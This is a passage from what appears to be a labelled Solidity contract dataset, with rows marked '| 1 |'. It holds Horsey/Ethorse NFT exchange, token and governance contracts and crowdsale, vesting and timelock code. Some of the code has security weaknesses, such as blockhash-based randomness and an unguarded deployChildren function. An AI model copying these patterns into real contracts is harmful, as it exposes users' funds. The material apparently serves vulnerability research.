function transferFrom(address from, address to, uint tokens) public returns (bool success) {
ensureRegulated(from);
ensureRegulated(to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
} | 1 | 3,683 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
contract ERC721Holder is ERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes
)
public
returns(bytes4)
{
return ERC721_RECEIVED;
}
}
contract ERC721Basic {
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
}
contract HorseyExchange is Pausable, ERC721Holder {
event HorseyDeposit(uint256 tokenId, uint256 price);
event SaleCanceled(uint256 tokenId);
event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay);
uint256 public marketMakerFee = 3;
uint256 collectedFees = 0;
ERC721Basic public token;
struct SaleData {
uint256 price;
address owner;
}
mapping (uint256 => SaleData) market;
mapping (address => uint256[]) userBarn;
constructor() Pausable() ERC721Holder() public {
}
function setStables(address _token) external
onlyOwner()
{
require(address(_token) != 0,"Address of token is zero");
token = ERC721Basic(_token);
}
function setMarketFees(uint256 fees) external
onlyOwner()
{
marketMakerFee = fees;
}
function getTokensOnSale(address user) external view returns(uint256[]) {
return userBarn[user];
}
function getTokenPrice(uint256 tokenId) public view
isOnMarket(tokenId) returns (uint256) {
return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee);
}
function depositToExchange(uint256 tokenId, uint256 price) external
whenNotPaused()
isTokenOwner(tokenId)
nonZeroPrice(price)
tokenAvailable() {
require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer");
token.transferFrom(msg.sender, address(this), tokenId);
market[tokenId] = SaleData(price,msg.sender);
userBarn[msg.sender].push(tokenId);
emit HorseyDeposit(tokenId, price);
}
function cancelSale(uint256 tokenId) external
whenNotPaused()
originalOwnerOf(tokenId)
tokenAvailable() returns (bool) {
token.transferFrom(address(this),msg.sender,tokenId);
delete market[tokenId];
_removeTokenFromBarn(tokenId, msg.sender);
emit SaleCanceled(tokenId);
return userBarn[msg.sender].length > 0;
}
function purchaseToken(uint256 tokenId) external payable
whenNotPaused()
isOnMarket(tokenId)
tokenAvailable()
notOriginalOwnerOf(tokenId)
{
uint256 totalToPay = getTokenPrice(tokenId);
require(msg.value >= totalToPay, "Not paying enough");
SaleData memory sale = market[tokenId];
collectedFees += totalToPay - sale.price;
sale.owner.transfer(sale.price);
_removeTokenFromBarn(tokenId, sale.owner);
delete market[tokenId];
token.transferFrom(address(this), msg.sender, tokenId);
if(msg.value > totalToPay)
{
msg.sender.transfer(msg.value - totalToPay);
}
emit HorseyPurchased(tokenId, msg.sender, totalToPay);
}
function withdraw() external
onlyOwner()
{
assert(collectedFees <= address(this).balance);
owner.transfer(collectedFees);
collectedFees = 0;
}
function _removeTokenFromBarn(uint tokenId, address barnAddress) internal {
uint256[] storage barnArray = userBarn[barnAddress];
require(barnArray.length > 0,"No tokens to remove");
int index = _indexOf(tokenId, barnArray);
require(index >= 0, "Token not found in barn");
for (uint256 i = uint256(index); i<barnArray.length-1; i++){
barnArray[i] = barnArray[i+1];
}
barnArray.length--;
}
function _indexOf(uint item, uint256[] memory array) internal pure returns (int256){
for(uint256 i = 0; i < array.length; i++){
if(array[i] == item){
return int256(i);
}
}
return -1;
}
modifier isOnMarket(uint256 tokenId) {
require(token.ownerOf(tokenId) == address(this),"Token not on market");
_;
}
modifier isTokenOwner(uint256 tokenId) {
require(token.ownerOf(tokenId) == msg.sender,"Not tokens owner");
_;
}
modifier originalOwnerOf(uint256 tokenId) {
require(market[tokenId].owner == msg.sender,"Not the original owner of");
_;
}
modifier notOriginalOwnerOf(uint256 tokenId) {
require(market[tokenId].owner != msg.sender,"Is the original owner");
_;
}
modifier nonZeroPrice(uint256 price){
require(price > 0,"Price is zero");
_;
}
modifier tokenAvailable(){
require(address(token) != 0,"Token address not set");
_;
}
}
contract EthorseRace {
struct chronus_info {
bool betting_open;
bool race_start;
bool race_end;
bool voided_bet;
uint32 starting_time;
uint32 betting_duration;
uint32 race_duration;
uint32 voided_timestamp;
}
address public owner;
chronus_info public chronus;
mapping (bytes32 => bool) public winner_horse;
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint);
}
contract EthorseHelpers {
bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")];
mapping(address => bool) public legitRaces;
bool onlyLegit = false;
function _addHorse(bytes32 newHorse) internal {
all_horses.push(newHorse);
}
function _addLegitRace(address newRace) internal
{
legitRaces[newRace] = true;
if(!onlyLegit)
onlyLegit = true;
}
function getall_horsesCount() public view returns(uint) {
return all_horses.length;
}
function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32)
{
EthorseRace race = EthorseRace(raceAddress);
if(onlyLegit)
require(legitRaces[raceAddress],"not legit race");
bool voided_bet;
bool race_end;
(,,race_end,voided_bet,,,,) = race.chronus();
if(voided_bet || !race_end)
return (false,bytes32(0));
bytes32 horse;
bool found = false;
uint256 arrayLength = all_horses.length;
for(uint256 i = 0; i < arrayLength; i++)
{
if(race.winner_horse(all_horses[i])) {
horse = all_horses[i];
found = true;
break;
}
}
if(!found)
return (false,bytes32(0));
uint256 bet_amount = 0;
(,,,, bet_amount) = race.getCoinIndex(horse, eth_address);
return (bet_amount > 0, horse);
}
}
contract RoyalStablesInterface {
struct Horsey {
address race;
bytes32 dna;
uint8 feedingCounter;
uint8 tier;
}
mapping(uint256 => Horsey) public horseys;
mapping(address => uint32) public carrot_credits;
mapping(uint256 => string) public names;
address public master;
function getOwnedTokens(address eth_address) public view returns (uint256[]);
function storeName(uint256 tokenId, string newName) public;
function storeCarrotsCredit(address client, uint32 amount) public;
function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public;
function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public;
function modifyHorseyDna(uint256 tokenId, bytes32 dna) public;
function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public;
function modifyHorseyTier(uint256 tokenId, uint8 tier) public;
function unstoreHorsey(uint256 tokenId) public;
function ownerOf(uint256 tokenId) public returns (address);
}
contract HorseyToken is EthorseHelpers,Pausable {
event Claimed(address raceAddress, address eth_address, uint256 tokenId);
event Feeding(uint256 tokenId);
event ReceivedCarrot(uint256 tokenId, bytes32 newDna);
event FeedingFailed(uint256 tokenId);
event HorseyRenamed(uint256 tokenId, string newName);
event HorseyFreed(uint256 tokenId);
RoyalStablesInterface public stables;
uint8 public carrotsMultiplier = 1;
uint8 public rarityMultiplier = 1;
uint256 public claimingFee = 0.000 ether;
struct FeedingData {
uint256 blockNumber;
uint256 horsey;
}
mapping(address => FeedingData) public pendingFeedings;
uint256 public renamingCostsPerChar = 0.001 ether;
constructor(address stablesAddress)
EthorseHelpers()
Pausable() public {
stables = RoyalStablesInterface(stablesAddress);
}
function setRarityMultiplier(uint8 newRarityMultiplier) external
onlyOwner() {
rarityMultiplier = newRarityMultiplier;
}
function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external
onlyOwner() {
carrotsMultiplier = newCarrotsMultiplier;
}
function setRenamingCosts(uint256 newRenamingCost) external
onlyOwner() {
renamingCostsPerChar = newRenamingCost;
}
function setClaimingCosts(uint256 newClaimingFee) external
onlyOwner() {
claimingFee = newClaimingFee;
}
function addLegitRaceAddress(address newAddress) external
onlyOwner() {
_addLegitRace(newAddress);
}
function withdraw() external
onlyOwner() {
owner.transfer(address(this).balance);
}
function addHorseIndex(bytes32 newHorse) external
onlyOwner() {
_addHorse(newHorse);
}
function getOwnedTokens(address eth_address) public view returns (uint256[]) {
return stables.getOwnedTokens(eth_address);
}
function can_claim(address raceAddress, address eth_address) public view returns (bool) {
bool res;
(res,) = _isWinnerOf(raceAddress, eth_address);
return res;
}
function claim(address raceAddress) external payable
costs(claimingFee)
whenNotPaused()
{
bytes32 winner;
bool res;
(res,winner) = _isWinnerOf(raceAddress, msg.sender);
require(winner != bytes32(0),"Winner is zero");
require(res,"can_claim return false");
uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner);
emit Claimed(raceAddress, msg.sender, id);
}
function renameHorsey(uint256 tokenId, string newName) external
whenNotPaused()
onlyOwnerOf(tokenId)
costs(renamingCostsPerChar * bytes(newName).length)
payable {
uint256 renamingFee = renamingCostsPerChar * bytes(newName).length;
if(msg.value > renamingFee)
{
msg.sender.transfer(msg.value - renamingFee);
}
stables.storeName(tokenId,newName);
emit HorseyRenamed(tokenId,newName);
}
function freeForCarrots(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId) {
require(pendingFeedings[msg.sender].horsey != tokenId,"");
uint8 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier));
stables.unstoreHorsey(tokenId);
emit HorseyFreed(tokenId);
}
function getCarrotCredits() external view returns (uint32) {
return stables.carrot_credits(msg.sender);
}
function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) {
RoyalStablesInterface.Horsey memory temp;
(temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId);
return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId));
}
function feed(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId)
carrotsMeetLevel(tokenId)
noFeedingInProgress()
{
pendingFeedings[msg.sender] = FeedingData(block.number,tokenId);
uint8 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter));
emit Feeding(tokenId);
}
function stopFeeding() external
feedingInProgress() returns (bool) {
uint256 blockNumber = pendingFeedings[msg.sender].blockNumber;
uint256 tokenId = pendingFeedings[msg.sender].horsey;
require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block");
delete pendingFeedings[msg.sender];
if(block.number - blockNumber > 255) {
emit FeedingFailed(tokenId);
return false;
}
if(stables.ownerOf(tokenId) != msg.sender) {
emit FeedingFailed(tokenId);
return false;
}
_feed(tokenId, blockhash(blockNumber));
bytes32 dna;
(,dna,,) = stables.horseys(tokenId);
emit ReceivedCarrot(tokenId, dna);
return true;
}
function() external payable {
revert("Not accepting donations");
}
function _feed(uint256 tokenId, bytes32 blockHash) internal {
uint8 tier;
uint8 feedingCounter;
(,,feedingCounter,tier) = stables.horseys(tokenId);
uint256 probabilityByRarity = 10 ** uint256(tier + 1);
uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity;
if(randNum <= (feedingCounter * rarityMultiplier)){
_increaseRarity(tokenId, blockHash);
}
if(feedingCounter < 255) {
stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1);
}
}
function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(race, sender, coinIndex)));
}
function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) {
uint256 id = _makeSpecialId(race, eth_address, coinIndex);
bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16);
stables.storeHorsey(eth_address,id,race,dna,1,0);
return id;
}
function _increaseRarity(uint256 tokenId, bytes32 blockHash) private {
uint8 tier;
bytes32 dna;
(,dna,,tier) = stables.horseys(tokenId);
if(tier < 254)
stables.modifyHorseyTier(tokenId,tier+1);
uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash)));
bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240));
bytes32 newdna = dna | rarityMask;
stables.modifyHorseyDna(tokenId,newdna);
}
function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data)*(2 ** n));
}
function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data)/(2 ** n));
}
modifier carrotsMeetLevel(uint256 tokenId){
uint256 feedingCounter;
(,,feedingCounter,) = stables.horseys(tokenId);
require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots");
_;
}
modifier costs(uint256 amount) {
require(msg.value >= amount,"Not enough funds");
_;
}
modifier validAddress(address addr) {
require(addr != address(0),"Address is zero");
_;
}
modifier noFeedingInProgress() {
require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding");
_;
}
modifier feedingInProgress() {
require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding");
_;
}
modifier onlyOwnerOf(uint256 tokenId) {
require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token");
_;
}
}
contract HorseyPilot {
event NewProposal(uint8 methodId, uint parameter, address proposer);
event ProposalPassed(uint8 methodId, uint parameter, address proposer);
uint8 constant votingThreshold = 2;
uint256 constant proposalLife = 7 days;
uint256 constant proposalCooldown = 1 days;
uint256 cooldownStart;
address public jokerAddress;
address public knightAddress;
address public paladinAddress;
address[3] public voters;
uint8 constant public knightEquity = 40;
uint8 constant public paladinEquity = 10;
address public exchangeAddress;
address public tokenAddress;
mapping(address => uint) internal _cBalance;
struct Proposal{
address proposer;
uint256 timestamp;
uint256 parameter;
uint8 methodId;
address[] yay;
address[] nay;
}
Proposal public currentProposal;
bool public proposalInProgress = false;
uint256 public toBeDistributed;
bool deployed = false;
constructor(
address _jokerAddress,
address _knightAddress,
address _paladinAddress,
address[3] _voters
) public {
jokerAddress = _jokerAddress;
knightAddress = _knightAddress;
paladinAddress = _paladinAddress;
for(uint i = 0; i < 3; i++) {
voters[i] = _voters[i];
}
cooldownStart = block.timestamp - proposalCooldown;
}
function deployChildren(address stablesAddress) external {
require(!deployed,"already deployed");
exchangeAddress = new HorseyExchange();
tokenAddress = new HorseyToken(stablesAddress);
HorseyExchange(exchangeAddress).setStables(stablesAddress);
deployed = true;
}
function transferJokerOwnership(address newJoker) external
validAddress(newJoker) {
require(jokerAddress == msg.sender,"Not right role");
_moveBalance(newJoker);
jokerAddress = newJoker;
}
function transferKnightOwnership(address newKnight) external
validAddress(newKnight) {
require(knightAddress == msg.sender,"Not right role");
_moveBalance(newKnight);
knightAddress = newKnight;
}
function transferPaladinOwnership(address newPaladin) external
validAddress(newPaladin) {
require(paladinAddress == msg.sender,"Not right role");
_moveBalance(newPaladin);
paladinAddress = newPaladin;
}
function withdrawCeo(address destination) external
onlyCLevelAccess()
validAddress(destination) {
if(toBeDistributed > 0){
_updateDistribution();
}
uint256 balance = _cBalance[msg.sender];
if(balance > 0 && (address(this).balance >= balance)) {
destination.transfer(balance);
_cBalance[msg.sender] = 0;
}
}
function syncFunds() external {
uint256 prevBalance = address(this).balance;
HorseyToken(tokenAddress).withdraw();
HorseyExchange(exchangeAddress).withdraw();
uint256 newBalance = address(this).balance;
toBeDistributed = toBeDistributed + (newBalance - prevBalance);
}
function getNobleBalance() external view
onlyCLevelAccess() returns (uint256) {
return _cBalance[msg.sender];
}
function makeProposal( uint8 methodId, uint256 parameter ) external
onlyCLevelAccess()
proposalAvailable()
cooledDown()
{
currentProposal.timestamp = block.timestamp;
currentProposal.parameter = parameter;
currentProposal.methodId = methodId;
currentProposal.proposer = msg.sender;
delete currentProposal.yay;
delete currentProposal.nay;
proposalInProgress = true;
emit NewProposal(methodId,parameter,msg.sender);
}
function voteOnProposal(bool voteFor) external
proposalPending()
onlyVoters()
notVoted() {
require((block.timestamp - currentProposal.timestamp) <= proposalLife);
if(voteFor)
{
currentProposal.yay.push(msg.sender);
if( currentProposal.yay.length >= votingThreshold )
{
_doProposal();
proposalInProgress = false;
return;
}
} else {
currentProposal.nay.push(msg.sender);
if( currentProposal.nay.length >= votingThreshold )
{
proposalInProgress = false;
cooldownStart = block.timestamp;
return;
}
}
}
function _moveBalance(address newAddress) internal
validAddress(newAddress) {
require(newAddress != msg.sender);
_cBalance[newAddress] = _cBalance[msg.sender];
_cBalance[msg.sender] = 0;
}
function _updateDistribution() internal {
require(toBeDistributed != 0,"nothing to distribute");
uint256 knightPayday = toBeDistributed / 100 * knightEquity;
uint256 paladinPayday = toBeDistributed / 100 * paladinEquity;
uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday;
_cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday;
_cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday;
_cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday;
toBeDistributed = 0;
}
function _doProposal() internal {
if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter);
if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter);
if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter));
if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter));
if( currentProposal.methodId == 4 ) {
if(currentProposal.parameter == 0) {
HorseyExchange(exchangeAddress).unpause();
HorseyToken(tokenAddress).unpause();
} else {
HorseyExchange(exchangeAddress).pause();
HorseyToken(tokenAddress).pause();
}
}
if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter);
if( currentProposal.methodId == 8 ){
HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter));
}
if( currentProposal.methodId == 9 ){
HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter));
}
emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer);
}
modifier validAddress(address addr) {
require(addr != address(0),"Address is zero");
_;
}
modifier onlyCLevelAccess() {
require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level");
_;
}
modifier proposalAvailable(){
require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending");
_;
}
modifier cooledDown( ){
if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){
revert("Cool down period not passed yet");
}
_;
}
modifier proposalPending() {
require(proposalInProgress,"no proposal pending");
_;
}
modifier notVoted() {
uint256 length = currentProposal.yay.length;
for(uint i = 0; i < length; i++) {
if(currentProposal.yay[i] == msg.sender) {
revert("Already voted");
}
}
length = currentProposal.nay.length;
for(i = 0; i < length; i++) {
if(currentProposal.nay[i] == msg.sender) {
revert("Already voted");
}
}
_;
}
modifier onlyVoters() {
bool found = false;
uint256 length = voters.length;
for(uint i = 0; i < length; i++) {
if(voters[i] == msg.sender) {
found = true;
break;
}
}
if(!found) {
revert("not a voter");
}
_;
}
} | 1 | 4,136 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract BonusCrowdsale is Crowdsale, Ownable {
uint32[] public BONUS_TIMES;
uint32[] public BONUS_TIMES_VALUES;
uint32[] public BONUS_AMOUNTS;
uint32[] public BONUS_AMOUNTS_VALUES;
uint public constant BONUS_COEFF = 1000;
uint public tokenPriceInCents;
function BonusCrowdsale(uint256 _tokenPriceInCents) public {
tokenPriceInCents = _tokenPriceInCents;
}
function bonusesForTimesCount() public constant returns(uint) {
return BONUS_TIMES.length;
}
function setBonusesForTimes(uint32[] times, uint32[] values) public onlyOwner {
require(times.length == values.length);
for (uint i = 0; i + 1 < times.length; i++) {
require(times[i] < times[i+1]);
}
BONUS_TIMES = times;
BONUS_TIMES_VALUES = values;
}
function bonusesForAmountsCount() public constant returns(uint) {
return BONUS_AMOUNTS.length;
}
function setBonusesForAmounts(uint32[] amounts, uint32[] values) public onlyOwner {
require(amounts.length == values.length);
for (uint i = 0; i + 1 < amounts.length; i++) {
require(amounts[i] > amounts[i+1]);
}
BONUS_AMOUNTS = amounts;
BONUS_AMOUNTS_VALUES = values;
}
function buyTokens(address beneficiary) public payable {
uint256 usdValue = msg.value.mul(rate).mul(tokenPriceInCents).div(1000).div(1 ether);
uint256 bonus = computeBonus(usdValue);
uint256 oldRate = rate;
rate = rate.mul(BONUS_COEFF.add(bonus)).div(BONUS_COEFF);
super.buyTokens(beneficiary);
rate = oldRate;
}
function computeBonus(uint256 usdValue) public constant returns(uint256) {
return computeAmountBonus(usdValue).add(computeTimeBonus());
}
function computeTimeBonus() public constant returns(uint256) {
require(now >= startTime);
for (uint i = 0; i < BONUS_TIMES.length; i++) {
if (now.sub(startTime) <= BONUS_TIMES[i]) {
return BONUS_TIMES_VALUES[i];
}
}
return 0;
}
function computeAmountBonus(uint256 usdValue) public constant returns(uint256) {
for (uint i = 0; i < BONUS_AMOUNTS.length; i++) {
if (usdValue >= BONUS_AMOUNTS[i]) {
return BONUS_AMOUNTS_VALUES[i];
}
}
return 0;
}
}
contract TokensCappedCrowdsale is Crowdsale {
uint256 public tokensCap;
function TokensCappedCrowdsale(uint256 _tokensCap) public {
tokensCap = _tokensCap;
}
function validPurchase() internal constant returns(bool) {
uint256 tokens = token.totalSupply().add(msg.value.mul(rate));
bool withinCap = tokens <= tokensCap;
return super.validPurchase() && withinCap;
}
function hasEnded() public constant returns(bool) {
bool capReached = token.totalSupply() >= tokensCap;
return super.hasEnded() || capReached;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
